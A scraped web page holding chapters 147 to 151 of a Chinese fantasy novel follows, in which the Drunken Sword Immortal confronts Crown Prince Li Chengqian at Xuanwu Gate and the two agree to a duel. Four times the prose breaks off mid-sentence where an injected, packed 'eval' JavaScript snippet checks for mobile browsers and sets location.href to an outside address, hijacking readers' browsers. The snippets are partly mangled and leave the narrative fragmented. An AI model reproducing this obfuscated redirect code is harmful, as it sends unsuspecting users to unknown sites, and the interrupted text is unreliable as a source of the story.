酒剑仙的话,轻飘飘的,却像一座无形的大山,压在了所有人的心头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16253072|182037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 玄武门前,陷入了一片诡异的死寂。 苏定方和十万神策军将士,脸上的狂热渐渐褪去,取而代之的是一种茫然。 他们听不懂什么道,什么剑,但他们听懂了最后那句话。 难道,他们誓死追随的太子殿下,不是在开创一个前所未有的盛世,而是在带着整个大唐,走向灭亡? 这个念头一出,让他们不寒而栗。 天空中的清微道长和五大长老,更是心神巨震。 酒剑仙的话,直接动摇了他们支持李承乾的理论根基。 如果李承乾的道路是错的,那他们蜀山,岂不就成了这场灭世浩劫的帮凶? 这个责任,他们承担不起! “胡说八道!” 城楼上,李承乾终于开口了,声音冰冷刺骨,打断了所有人的胡思乱想。 他死死地盯着城下的酒剑仙,那双漆黑的眼眸里,翻涌着骇人的风暴。 “孤的道,岂是你能揣测?” “若无雷霆手段,何以扫清寰宇?若不破而后立,何来崭新乾坤?” “你站在这里,夸夸其谈,不过是纸上谈兵!你根本不懂,这个世界,已经烂到了什么地步!不下一剂猛药,它只有死路一条!” 李承乾的声音,充满了不容置疑的意志。 他承认,酒剑仙的话,确实触及到了他力量中的一丝隐患。 但是,他绝不承认自己的道路是错的! 他是天命所归,他是要以凡人之躯,行神明之事的人! 他怎么可能会错? “猛药?” 酒剑仙嗤笑一声,摇了摇头,“你那不是猛药,是剧毒。你在用一种更猛烈的毒,去解另一种毒。最后的结果,就是大家一起玩完。” “你!” 李承乾眼中杀机暴涨。 这是第一次,有人敢如此彻底地否定他,挑战他的道! “怎么?说不过,就想动手**?” 酒剑仙仿佛看穿了他的心思,脸上满是鄙夷。 “小子,我说了,你那点力量,对我没用。” “你不信?” 酒剑仙嘿嘿一笑,他将手中的酒葫芦高高抛起,然后猛地吸了一口气,胸膛高高鼓起。 “噗——!” 他张开嘴,将一口浓烈的酒雾,对着玄武门那厚重的,沾满了鲜血的城门,喷了出去! 那酒雾,在离开他嘴边的瞬间,迅速扩展开来,化作一片朦朦胧胧的白色水汽。 所有人都以为,这只是醉汉的胡闹。 可下一秒,所有人的眼睛,都瞪大了。 只见那片白色的酒雾之中,亮起了无数点璀璨的星芒! 每一颗星芒,都是一道精纯到极致的剑气! 成千上万道剑气,在酒雾中盘旋、飞舞,却不带丝毫杀伐之意。 它们如同温顺的精灵,在空中组成了一个玄奥的图案,然后,轻轻地,落在了那扇血迹斑斑的城门上。 “滋啦——”没有惊天动地的**,只有一阵轻微的,如同冰雪消融般的声音。 那扇城门上,凝固了数日的,散发着腥臭味的暗红色血迹,在接触到那些剑气的瞬间,竟以肉眼可见的速度,被净化,被分解! 第148章 人间非棋盘,苍生非棋子 只是短短几个呼吸的时间,整扇高达数丈的玄武门,变得干干净净,被清水彻底冲洗过,连血腥味都闻不到了! 不仅如此,那由剑气组成的图案,在净化完血迹之后,并未消散,而是化作点点荧光,融入了城门周围的土地。 那些被鲜血浸透,变得寸草不生的焦黑土地,竟然以一种不可思议的速度,重新焕发了生机! 一抹抹嫩绿的青草,从地缝里钻了出来,迎风摇曳,充满了生命的气息! 这一幕,彻底颠覆了所有人的认知! 孔伯渊的浩然正气,可以净化人心,却无法净化如此浓重的血煞。 李承乾的黑色帝气,可以毁灭一切,却无法带来如此纯粹的新生。 而天空中的蜀山剑仙们,更是看得目瞪口呆。 他们的剑,是**之剑。 可眼前这个醉汉的剑,竟然是…… 活人之剑! 这是何等恐怖的剑道修为! “看清楚了吗,小子?” 酒剑仙接住从空中落下的酒葫芦,又灌了一口,懒洋洋地说道。 “这,才叫‘道’。” “毁灭,谁都会。可能够在毁灭之后,带来新生的,才是真正的道法自然。” “你的道,只学了前半截,差得远呢!” 城楼上,李承乾的身体,几不可察地僵硬了。 他死死地盯着城下那片新生的绿草,感受着那股纯粹、自然、生生不息的剑意。 他第一次,对自己那坚如磐石的道心,产生了动摇。 难道…… 我真的错了? 这个念头,像一颗毒草,在他的心底,疯狂地滋生。 他那股通天的黑色帝气,也因为他心神的动摇,出现了微不可察的波动。 清微道长脸色大变,他知道,不能再让酒剑仙说下去了! 再这样下去,太子殿下的道心,真的会被他毁掉! “司剑师叔!” 清微道长急声喝道,“道法万千,殊途同归!殿下之路,虽显霸道,但亦是救世之道!您又何必强求与您相同?!” “强求?” 酒剑仙瞥了他一眼,“我不是在强求。我是在救他。” 他的目光,重新落回到李承乾身上,眼神变得无比严肃。 “小子,你现在收手,还来得及。” “你那身力量,已经开始反噬你的心智了。你以为你还是你吗?你早就被那股杀伐之气,侵蚀得差不多了。” “再走下去,等你把整个天下都杀干净了,你就会变成下一个,比天妖皇更可怕的魔头!” “到时候,谁来救你?谁又来救这个世界?” 酒剑仙的话,每一个字都像一把重锤,狠狠地敲在李承乾的心上。 “你早就被那股杀伐之气,侵蚀得差不多了。” “你会变成下一个,比天妖皇更可怕的魔头!” 这些话,在李承乾的脑海中,反复回响。 他能感觉到,自己体内的那股黑色帝气,正在不安地躁动,被说中了痛处,发出了愤怒的咆哮。 嗜血的,想要将城下那个醉鬼撕成碎片的冲动,从心底疯狂地涌起。 李承乾的指甲,深深地陷入了掌心,用疼痛来保持着最后清明。 他知道,酒剑仙没有危言耸听。 这种被力量本身所影响心智的感觉,他早就有所察察。 只是他一直相信,凭借自己钢铁般的意志,足以压制一切。 可今天,这个醉鬼,却将这层窗户纸,无情地捅破了。 “闭嘴!” 李承乾厉声喝道,声音里带着他自己都未曾察觉的颤抖。 “孤的道,孤自己会走!不需要你一个酒鬼来指手画脚!” “我的路,是唯一有机会成功的路!” 他死死地盯着酒剑仙,一字一顿地说道,“你的那套‘道法自然’,不过是和平年代的梦话!如今大厦将倾,不用雷霆手段,难道要眼睁睁看着它塌下来,砸死所有人吗?” “你所谓的逍遥自在,不过是自欺欺人!当天地倾覆,万物不存,你的酒,你的剑,你的逍遥,又能在哪里安放?!” 这是他的道,是他坚守至今的信念! 他不能退,也绝不会退! “说得好!说得真好!” 酒剑仙抚掌大笑,只是那笑声里,充满了讥讽。 “小子,你口口声声说为了天下苍生,可你问过他们,愿不愿意让你来‘救’吗?” “你清洗佛门,天下信徒,恨你入骨。” “你屠戮世家,士族门阀,视你为魔。” “你现在,不过是靠着许诺给底层百姓和丘八一点好处,暂时笼络了人心。可你这种以杀立威的统治,能维持多久?” “当你分出去的田地不够分了,当你的国库无法再支撑高昂的军饷了,你怎么办?再去杀一批人,抄一批家吗?” 酒剑仙的每一个问题,都无比尖锐,直指李承乾新政背后最脆弱的环节。 “你这不是在救世,你是在玩一个朝不保夕的危险游戏!你把天下人当成了你棋盘上的棋子,用他们的血肉,来堆砌你那所谓的新世界!” “而我,” 酒剑仙指了指自己,“我从不把人当棋子。我认为,每个人,都有自己的活法。救世,不是要替他们选择一条路,而是要保护他们,让他们能自己去选择,自己去活!” “你的道,是控制!” “我的道,是守护!” 两种截然不同的救世理念,在玄武门前,发生了最激烈的碰撞! 清微道长听得心神摇曳。 他不得不承认,酒剑仙的“守护之道”,听起来,似乎更符合蜀山创派的初衷。 可是…… “师叔!” 清微道长再次开口,声音里带着痛苦的挣扎,“您说的,或许是对的。但在如今这种局面下,您的道,太慢了!” “锁妖塔,最多只能再撑一年!我们没有时间去慢慢‘守护’,去等待人心慢慢变化!我们必须用最快的速度,集结起最强的力量!” “殿下他……他虽然手段极端,但他的方法,是目前我们能看到的,唯一能在一年之内,完成这一切的办法!” 清微道长看向李承乾,眼神无比复杂。 “殿下他,是在用自己的魔道,为天下苍生,争那一线生机啊!” “争一线生机?” 酒剑仙听到了什么可笑的事情。 “清微,你真是越活越糊涂了。” “你以为,力量是靠‘集结’就能来的吗?你以为,一加一,就一定等于二吗?” “我告诉你,真正的力量,从来都不是来自外界,而是来自内心!” 酒剑仙的目光,穿透了虚空,看到了蜀山之巅那座漆黑的巨塔。 “天妖皇为何可怕?因为它代表了最纯粹的‘毁灭’意志。那是它的‘道’。” “想要战胜它,封印它,靠的不是比它更强的毁灭,而是另一种,与它截然相反的,同样纯粹的道!” 他猛地转头,看向李承乾。 “小子,你那身驳杂不纯的力量,根本不可能战胜天妖皇!你就算把全天下的人都杀了,把所有的力量都吞了,你最后也只会被它当成一道开胃小菜,吃得连渣都不剩!” “因为,在‘毁灭’这条路上,它,才是祖宗!” “在‘毁灭’这条路上,它,才是祖宗!” 酒剑仙的话,像一柄无形的巨锤,狠狠地砸在了李承乾的道心之上。 他那坚不可摧的自信,第一次,出现了一道肉眼可见的裂痕。 一直以来,他都认为自己的“霸道”是以毁灭开创未来,以杀戮铸就新生,是一条全新的,超越了单纯毁灭的道路。 可现在,酒剑仙却一针见血地指出,他的根基,依旧是“毁灭”。 而在这条路上,他永远不可能超越那个被**了万古的万妖之祖。 这是一种来自更高层面的,道的碾压。 李承乾的脸色,瞬间变得无比难看。 他体内的黑色帝气,因为他心神的剧烈波动,开始不受控制地翻涌、沸腾,股暴虐、嗜杀的念头,如同决堤的洪水,疯狂地冲击着他的理智。 他甚至产生了一种冲动,想要立刻下令,让天空中的三千剑仙结成剑阵,将城下这个胡言乱语的酒鬼,连同他那套歪理邪说,一起彻底抹杀! “怎么?心虚了?被我说中了,恼羞成怒了?” 酒剑仙能看透他的内心,脸上挂着戏谑的笑容。 “小子,承认吧,你的路,从一开始就走歪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16253073|182037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。” “你把这人间,当成了一个可以随意摆布的棋盘。你把这天下苍生,都当成了你手中可以随意牺牲的棋子。” “你高高在上,自以为是执棋者,以为自己能掌控一切。” 酒剑仙摇了摇头,眼神中流露出怜悯。 “可你忘了,棋盘,也有被掀翻的时候。棋子,也不是永远都不会动的。” 他说着,忽然做出了一个让所有人都意想不到的动作。 他没有再去看李承乾,而是转过身,面向了那座宏伟的长安城。 他手中的酒葫芦,被他随手扔在了地上。 他张开双臂,要拥抱整个世界。 他闭上了眼睛,深深地吸了一口气。 与之前截然不同的气息,从他身上,缓缓地散发开来。 那不是锋锐的剑气,也不是醉醺醺的酒气。 那是一种…… 温暖的,平和的,春风拂面,又清泉流淌的气息。 “我有一剑,可问人心。” 酒剑仙轻声吟诵,他的声音不大,却带着某种奇特的韵律,传遍了整个长安城。 下一刻,他身上那股温暖平和的气息,如同涟漪般,迅速扩散开来。 它穿过了玄武门的城墙,拂过了长安城内每一条街道,每一座房屋。 城内,那些因为李承乾新政而欢欣鼓舞,在家中为他立起长生牌位的百姓,忽然感觉心中那股狂热的崇拜之情,稍稍冷静了一些。 他们开始思考,这位太子殿下虽然给了他们土地和希望,但那满城的血腥,那被抄家的邻里,真的…… 就是他们想要的盛世吗? 那些因为被抄家而心怀怨恨,躲在暗处诅咒李承乾的世家余孽,忽然感觉心中那股滔天的恨意,也消散了不少。 他们开始反思,自己的家族,是不是真的如太子所说,早已腐朽不堪,成了帝国的毒瘤? 他们今日的下场,是不是也有咎由自取的原因? 那些对未来感到迷茫,不知道该拥护谁的普通市民,在被这股气息拂过之后,只觉得心神一阵清明。 他们不再被恐惧所支配,也不再被希望所裹挟。 他们开始用一种更平静,更理智的眼光,去看待这场惊天动地的变革。 酒剑仙的这一手,没有攻击任何人,也没有展现出任何破坏力。 但他所造成的后果,却比任何攻击都更加可怕! 他正在用自己的“道”,去影响,去唤醒长安城内每一个人的独立意志! 他在瓦解李承乾统治的根基——人心! 城楼上,李承乾的脸色,第一次,变得惨白! 他能清晰地感觉到,那股从长安城四面八方汇聚而来,支撑着他黑色帝气的磅礴“人道愿力”,正在以一种惊人的速度,变得松散,变得不再那么纯粹! 之前,这股力量是狂热的,是盲从的,是凝聚成的。 而现在,它正在分化成千千万万个独立的,带着各自想法的个体! 这是一种釜底抽薪! 李承乾的“霸道”,是建立在绝对的控制之上,他需要的是统一的,可以被他随意调用的力量。 而酒剑仙的“逍遥道”,却是在解放这种力量,让它回归其最原始,最自由的状态! 这是两种道的根本性冲突! “你……你做了什么?!” 李承乾的声音,第一次带上了惊怒。 他发现,自己第一次遇到了一个,他完全无法用力量去压制的对手。 因为对方根本不和他比拼力量,而是在另一个维度,直接瓦解他的根基! “我没做什么。” 酒剑仙缓缓睁开眼睛,他看着长安城内升腾起的,那无数道驳杂却真实的人间烟火气,脸上露出了满足的微笑。 “我只是,让他们重新做回了‘人’而已。” “人,不是被圈养的猪,也不是被崇拜的神。人,有自己的喜怒哀乐,有自己的七情六欲,有自己的思考和判断。” “小子,你想要救他们,就要先学会,尊重他们。” “你连他们是什么都不知道,又谈何拯救?” 酒剑仙转过身,重新看向脸色惨白的李承乾,眼神中,带着挑战。 “现在,你还觉得,你的路,是唯一正确的吗?” 第149章 一剑之约,赌上天命 “现在,你还觉得,你的路,是唯一正确的吗?” 酒剑仙的质问,如同一柄重锤,反复敲打在李承乾的道心之上。 李承乾死死地攥着拳头,他能感觉到,自己与那股“人道愿力”的连接,正在变得若即若离。 这不是力量上的削弱,而是一种…… 失控。 他第一次感觉到,自己所掌控的力量,有了自己的“想法”。 这种感觉,比任何刀剑加身,都让他感到恐惧。 他的道,是绝对的掌控! 是不容置疑的意志! 可现在,这个醉鬼,却用一种他无法理解的方式,在他的“道”上,撕开了一道口子。 “妖言惑众!” 李承乾从牙缝里挤出四个字,他眼中翻涌的杀机,几乎已经凝成了实质。 他不能再让这个酒鬼说下去了。 再让他说下去,自己好不容易建立起来的一切,都会土崩瓦解! “蜀山听令!” 李承乾的声音,如同万载寒冰,“结万剑归宗大阵!给孤……杀了他!” 他已经顾不上那么多了。 他要用最绝对的力量,将这个动摇他道心的存在,彻底从这个世界上抹去! “是!” 天空之中,清微道长和五大长老虽然心有疑虑,但李承乾的命令,他们不敢不从。 更何况,酒剑仙的行为,在他们看来,也确实是在破坏拯救世界的大计! “师叔!得罪了!” 清微道长大喝一声,三千剑仙瞬间而动! 那原本悬浮在空中的三千柄长剑,化作三千道流光,如百川归海,疯狂地涌向清微道长手中的那柄古朴木剑! “嗡——!” 足以毁天灭地的恐怖剑压,瞬间笼罩了整个玄武门! 天空为之变色,大地为之颤抖! 这是蜀山剑派最强的合击剑阵,万剑归宗! 据说此阵一出,可斩神魔! 然而,面对这足以让天地都为之失色的恐怖一幕,城下的酒剑仙,却只是撇了撇嘴,脸上依旧是那副懒洋洋的表情。 “啧啧,玩不起了?要群殴了?” 他摇了摇头,叹了口气:“清微啊清微,你真是把蜀山的脸都丢尽了。” 他说着,忽然对着天空,伸出了一根手指。 就是那么平平无奇的一根手指。 “定。” 他轻轻地,吐出了一个字。 下一秒,不可思议的一幕发生了。 那三千道已经汇聚成,即将斩落的剑气洪流,竟然就那么硬生生地,停在了半空中! 时间,在这一刻静止了。 空间,在这一刻凝固了。 天空中的清微道长和三千蜀山弟子,个个脸色涨红,拼尽了全力,想要让那剑气洪流再前进一寸,可那股洪流,却被一只无形的大手死死攥住,纹丝不动! 一指,定住三千仙剑! 这是何等恐怖,何等匪夷所思的神通! “这……这不可能!” 清微道长失声惊呼,眼中充满了无法理解的骇然。 这不是力量的对抗! 这是…… 法则的压制! 酒剑仙,竟然已经领悟到了言出法随的境界! “都说了,你们不懂剑。” 酒剑仙收回手指,那漫天的剑气洪流,瞬间失去了控制,化作漫天光雨,消散在空中。 三千蜀山弟子,齐齐闷哼一声,不少人嘴角都溢出了鲜血。 酒剑仙没有再理会他们,他的目光,重新落回到了城楼上,那个脸色已经难看到了极点的李承乾身上。 “小子,看到了吗?在绝对的‘道’面前,你那点靠着**堆起来的力量,就是个笑话。” “你连我都打不过,还想去打天妖皇?” 李承乾沉默了。 他死死地盯着酒剑仙,心中的惊涛骇浪,已经无法用言语来形容。 他第一次,对自己产生了怀疑。 对自己所走的路,产生了怀疑。 “你……” 良久,李承干沙哑地开口,“你到底想怎么样?” 他知道,今天,他杀不了这个酒鬼。 甚至,他连逼退对方都做不到。 “我不想怎么样。” 酒剑仙重新捡起地上的酒葫芦,灌了一口,懒洋洋地说道。 “我只是觉得,你这样的人,嘴上说着要救天下苍生,可你连苍生是什么样子都不知道,这不是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16261588|182037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很可笑吗?” “欲救苍生,必先懂苍生。” 酒剑仙看着李承乾,忽然咧嘴一笑。 “小子,敢不敢跟我打个赌?” “什么赌?” 李承乾警惕地问道。 “很简单。” 酒剑仙说道,“你我,以一剑为约。” “你接我一剑。如果你能在我这一剑之下,不靠你那身乱七八糟的黑气,只凭你自己的本事站着,那就算你赢。我立刻拍屁股走人,再也不管你的闲事。” “可如果你输了……” 酒剑仙的笑容,变得有些高深莫测。 “输了又如何?” 李承乾冷冷地问道。 “如果你输了,你就得跟我走。” 酒剑仙说道,“脱下你这身龙袍,放下你的皇位,就当一个普普通通的人,跟着我,去这人间,好好地看一看,走一走。” “去看看田里的农夫,去听听街边的叫卖,去闻闻人间的烟火气。” “等你看完了,走遍了,如果你还觉得,你那套杀光一切的法子是对的,那我,绝不再拦你。” “怎么样,小子,这个赌,你敢打吗?” 酒剑仙的赌约,像一块巨石,投入了玄武门前这片死寂的湖面,激起了千层巨浪。 所有人都惊呆了。 这个醉鬼,竟然要和太子殿下赌斗? 而且赌注,竟然是让太子殿下放弃皇位,跟他去云游天下? 这简直是疯了! “殿下!不可!” 清微道长第一个反应过来,急声劝阻。 “此人用心险恶!他这是要动摇您的道心啊!” 清微道长看得分明,酒剑仙的这个赌约,根本就是一个陷阱! 李承乾的道,是建立在绝对的权力和不容置疑的意志之上。 让他放下皇位,去体验凡人生活,这等于是从根子上,瓦解他的道! 一旦李承乾的道心动摇,他那身霸道绝伦的黑色帝气,立刻就会失控反噬! 到时候,别说拯救世界了,他自己都会第一个爆体而亡! “殿下,三思啊!” “此獠诡计多端,万万不可上当!” 天空中的五大长老,也纷纷开口。 第150章 酒剑仙!杀了这孽子!朕封你为大唐国师!永享俸禄! 玄武门,这片刚刚被鲜血与杀戮浸透的修罗场。 所有人的目光,都聚焦在城楼之下那两个人身上。 一个,是身负霸道帝气,意图以杀证道,重塑乾坤的大唐太子,李承乾。 一个,是疯疯癫癫,看似醉眼迷离,却能一指**三千仙剑的神秘酒鬼,酒剑仙。 他们之间的赌约,像一块无形的巨石,压在每个人的心头。 这是一个超越了凡俗理解的赌局,赌注是皇权,是道心,是这个世界的未来。 城楼之上,瘫坐在地的李世民,大口大口地喘着粗气,那张沾满血污的脸上,写满了劫后余生的茫然与深入骨髓的恐惧。 他听到了。 他听到了那个孽子赌约。 输了,就要放下皇位,去做一个凡人? 他不懂什么“道心”,不懂什么“人道愿力”,但他听懂了最关键的一点——这个酒鬼,这个连蜀山剑仙都能压制的恐怖存在,他…… 是来阻止承乾的! 他不是承乾的人! 这个认知,像一道撕裂黑暗的闪电,瞬间劈开了李世民那被绝望和恐惧填满的混沌脑海! 一瞬间,所有的**,所有的不甘,所有的愤怒,所有的帝王心术,如百川归海,尽数涌回了他那颗几乎停止跳动的心脏! 他,李世民,还不是一个彻头彻尾的失败者! 他还站在这玄武门的城楼上! 他还穿着这身龙袍! 他还是大唐名义上的,唯一的天子! 只要是天子,就有翻盘的希望! 一股不知从何而来的力量,支撑着他那几乎散架的身体,让他从冰冷的地面上,挣扎着,颤巍巍地,重新站了起来! 他的双眼,因为极致的情绪波动而布满了骇人的血丝,死死地锁定在城楼下那个懒洋洋的身影上。 那是他的救命稻草! 是他从这无边地狱中爬出去的,唯一的一根绳索! 他必须抓住它! 不惜一切代价! “酒剑仙!” 李世民发出一声嘶哑的,如同垂死野兽咆哮! 他的声音,不再有平日的威严与沉稳,只剩下赤裸裸的,歇斯底里的疯狂! 他用尽全身的力气,伸出那只因为恐惧和激动而剧烈颤抖的手指,指向城楼上那个面无表情的儿子,李承乾。 他已经不再称呼其为“孽子”,因为在他的潜意识里,那个已经不是他的儿子,而是一个他无法理解,必须被消灭的“祂”! “杀了他!给朕……杀了他!” 李世民的胸膛剧烈地起伏着,他用自己最熟悉,也是唯一剩下的武器——皇权,来下达这道疯狂的命令! 他试图将这场神仙打架,重新拉回到他所熟悉的,君臣交易的轨道上来! “只要你杀了他!” 李世民的声音陡然拔高,充满了孤注一掷的诱惑,“朕封你为大唐国师!与国同休!朕许你一人之下,万人之上!你之一脉,永享我大唐万世俸禄!!” 这番话,在此时此刻的玄武门前,显得无比的荒诞和可笑。 所有人都像看疯子一样看着李世民。 满朝文武,魏征、房玄龄,城下的衍圣公孔伯渊,陇西老祖李道玄…… 他们无不骇然。 对一个能够言出法随,视三千剑仙如无物的存在,许诺凡间的权势与财富? 这就像一个富家翁,挥舞着金票,要去收买创造天地的神明。 何其愚蠢! 何其可悲! 李承乾的嘴角,甚至勾起了一抹极淡的,在看小丑表演讥诮。 然而,接下来发生的一幕,却让包括李承乾在内的所有人,脸上的表情,尽数凝固。 只见城楼下,那个一直懒洋洋,对一切都漠不关心的酒剑仙,在听完李世民这番疯癫的许诺后,竟然缓缓地,收起了脸上那副玩世不恭的笑容。 他转过身,没有看李承乾,而是将目光,投向了城楼上那个状若疯魔的帝王。 他的眼神,变得无比的深邃,穿透了李世民那狼狈不堪的外表,看到了他身上那件明黄龙袍所承载的,更深层次的东西。 那是“人间正统”。 是“天子之位”。 是这片神州大地上,亿万苍生命运所系的,那个名为“秩序”的锚点。 李世民或许失德,或许狼狈,或许在力量上已经沦为蝼蚁。 但他,依旧是那个坐在龙椅上,名正言顺,承载着人间万灵因果的…… 皇帝。 酒剑仙忽然长长地叹了一口气。 那一声叹息,叹尽了千年的沧桑。 然后,在所有人不敢置信的目光中,他对着城楼上的李世民,缓缓地,整理了一下自己那身破旧的衣衫。 随即,他撩起衣袍,单膝跪地,对着那个他刚刚还称为“小子”的皇帝,行了一个庄重无比的,臣子对君王的大礼。 他的头颅,深深地垂下。 这惊世骇俗的一拜,不是拜给那个具体的人,而是拜给了“天子”这个身份,拜给了他所代表的人间秩序! “贫道,” 酒剑仙的声音,不再有丝毫醉意,变得无比的清晰、沉稳,带着一种令人心悸的肃穆,“谨遵陛下旨意。” 轰——! 这八个字,如同一道创世的神雷,狠狠地劈在了每个人的天灵盖上! 李世民呆住了。 他那疯狂的表情,凝固在了脸上,瞳孔因为极致的震惊而骤然收缩! 他甚至怀疑自己出现了幻觉! 他…… 他竟然…… 答应了? 自己用凡俗的权柄,竟然真的驱使了一位“仙人”? 一股 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16261589|182037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 难以言喻的,狂喜到极致的战栗,瞬间从他的脚底板直冲头顶! 他赢了! 他赌赢了! 魏征、房玄龄等人,更是吓得魂飞魄散! 他们死死地捂住自己的嘴,才能阻止自己发出惊恐的尖叫! 天空中的清微道长和三千蜀山弟子,脸上的表情,也从最初的疑惑,变成了深深的凝重与忌惮。 酒剑仙这一拜,不是为了那可笑的国师之位。 他是在用行动,告诉自己一个道理——“看,这就是人间!这就是秩序!就连我,也要敬他三分!而你,却要将他彻底打碎!” 这是一种“道”的宣示! 一种比任何言语都更加沉重,更加诛心的宣示! 在万众瞩目的死寂之中,酒剑仙缓缓地,站起了身。 当他再次转身,面向李承乾的时候。 整个世界,都变了。 如果说,之前的酒剑仙,是一潭深不见底,让人看不透的湖水。 那么此刻,他就是一柄已经出鞘的,天地间最锋锐,最无情的绝世神兵! 他身上那股懒散的气息,消失得无影无踪。 那双醉眼,变得比万年玄冰还要寒冷,比九天星辰还要明亮! 一股无法用言语形容的,纯粹到极致的“杀气”,从他身上轰然爆发! 这不是凡俗武将那种血腥的煞气,也不是李承乾身上那种霸道的帝气。 这是一种…… “道”的杀气! 它冰冷、纯粹、绝对! 代表着天地间最本源的“斩”与“灭”的法则! 在这股杀气笼罩之下,天空为之失色,风云为之停滞! 玄武门城墙上那些浸透了鲜血的砖石,竟然在无声无息间,被冻结,然后寸寸龟裂! 天空中的三千柄蜀山仙剑,发出了恐惧的悲鸣,剑身剧烈地颤抖着,遇到了它们的君王! 城内城外,无论是苏定方的十万大军,还是秦怀玉的百万雄师,所有士卒都在这一刻,感觉自己的灵魂被一只无形的大手攥住,连呼吸都变得无比困难,手中的兵器“哐当哐当”掉了一地! 李承乾瞳孔猛缩! 他周身那股以杀证道,无往不利的黑色帝气,在这股纯粹的杀气面前,竟如同遇到了天敌,被死死地压制,甚至出现了溃散的迹象! 酒剑仙,一步一步,缓缓地,向着李承乾走来。 他每踏出一步,他身上的杀气便浓重一分,天地间的温度便降低一分。 他看着脸色凝重的李承乾,一字一顿地开口,声音里不带一丝一毫的感情,如同九幽之下的万古寒风。 “太子殿下。” “陛下有旨,赐你一死。” “现在,你是选择,接我一剑,与我完成那个赌约……” “还是,让贫道,直接送你上路?” 第151章 我与人间全无敌,不与天战与谁战! “一剑为约,孤接了。” “但是,赌注要改一改。” “哦?”酒剑仙饶有兴致地看着他,“你想怎么改?” “很简单。”李承乾的声音,充满了霸道,“如果孤赢了,你死!” 那一瞬间,李承乾君威滔天! 此言一出,连酒剑仙都愣了一下。 他没想到,这个年轻人,竟然狂到了这个地步。 他不仅要赢,他还要……收服自己? “哈哈……哈哈哈哈!” 酒剑仙忽然爆发出了一阵畅快淋漓的大笑,笑得眼泪都流了出来。 “有意思!真有意思!” 他看着李承乾,那双醉眼之中,第一次,露出了真正的欣赏之色。 “狂!够狂!我喜欢!” “好!小子,就按你说的办!” 酒剑仙猛地将葫芦里的最后一口酒,一饮而尽,然后豪迈地将酒葫芦往地上一摔! “来吧!” “就让老夫看看,你这所谓的‘天命’,到底有几斤几两!” “也让你见识见识,什么,才是真正的……剑!” 气氛,在这一瞬间,凝固到了极点。 一场赌上各自“道”与“天命”的惊世对决,即将在玄武门前,拉开序幕! 所有人都屏住了呼吸,紧张地看着这一幕。 他们知道,这一剑的结果,将不仅决定李承乾和酒剑仙的命运,更将决定,这个世界,未来的走向! 玄武门,这座见证了太多杀戮与权谋更迭的雄关,此刻,成了一座天然的决斗场。 李承乾缓缓地,从城楼的边缘,一步一步,走了下来。 他没有借助任何力量,就那么踏着虚空,一步一个脚印,仿佛脚下有无形的台阶。 随着他的走动,他身上那股通天的黑色帝气,如同潮水般,渐渐退去,收敛入体,消失得无影无踪。 很快,那个如同神魔降世的霸道帝王,消失了。 取而代之的,是一个身穿玄衣,面容俊美,眼神冷酷的年轻人。 他站在那里,身上再无半点惊天气势,就像一个普通的,略显孤傲的王孙公子。 但他越是这样,天空中的清微道长等人,就越是心惊。 他们能感觉到,李承乾并不是失去了力量,而是将那股足以毁天灭地的力量,完美地,压缩在了自己的体内。 这是一种对力量,掌控到极致的表现! 李承乾缓缓落地,站在了酒剑仙的面前,两人相距十步。 酒剑仙却摆了摆手,他那张因为喝酒而涨红的脸,此刻也恢复了正常。 他那副醉醺醺的,玩世不恭的模样,不知在何时,已经彻底消失了。 他站在那里,虽然衣衫依旧破旧,身形依旧略显瘦削,但整个人的气质,却发生了翻天覆地的变化。 如果说之前的他,是一潭深不见底,却被酒气掩盖的湖水。 那么现在的他,就是一柄藏于鞘中,却依旧能让人感觉到其锋芒的绝世神兵! 他没有看李承乾,而是缓缓地,闭上了眼睛。 他的呼吸,变得悠长而平缓,仿佛与周围的风,融为了一体。 他的心跳,变得沉稳而有力,仿佛与脚下的大地,开始了共鸣。 这一刻,他不再是一个独立的个体。 他成了这片天地的一部分。 他就是风,他就是光,他就是这玄武门前,流淌的每一寸空气。 一种玄之又玄,妙不可言的“道韵”,从他身上,弥漫开来。 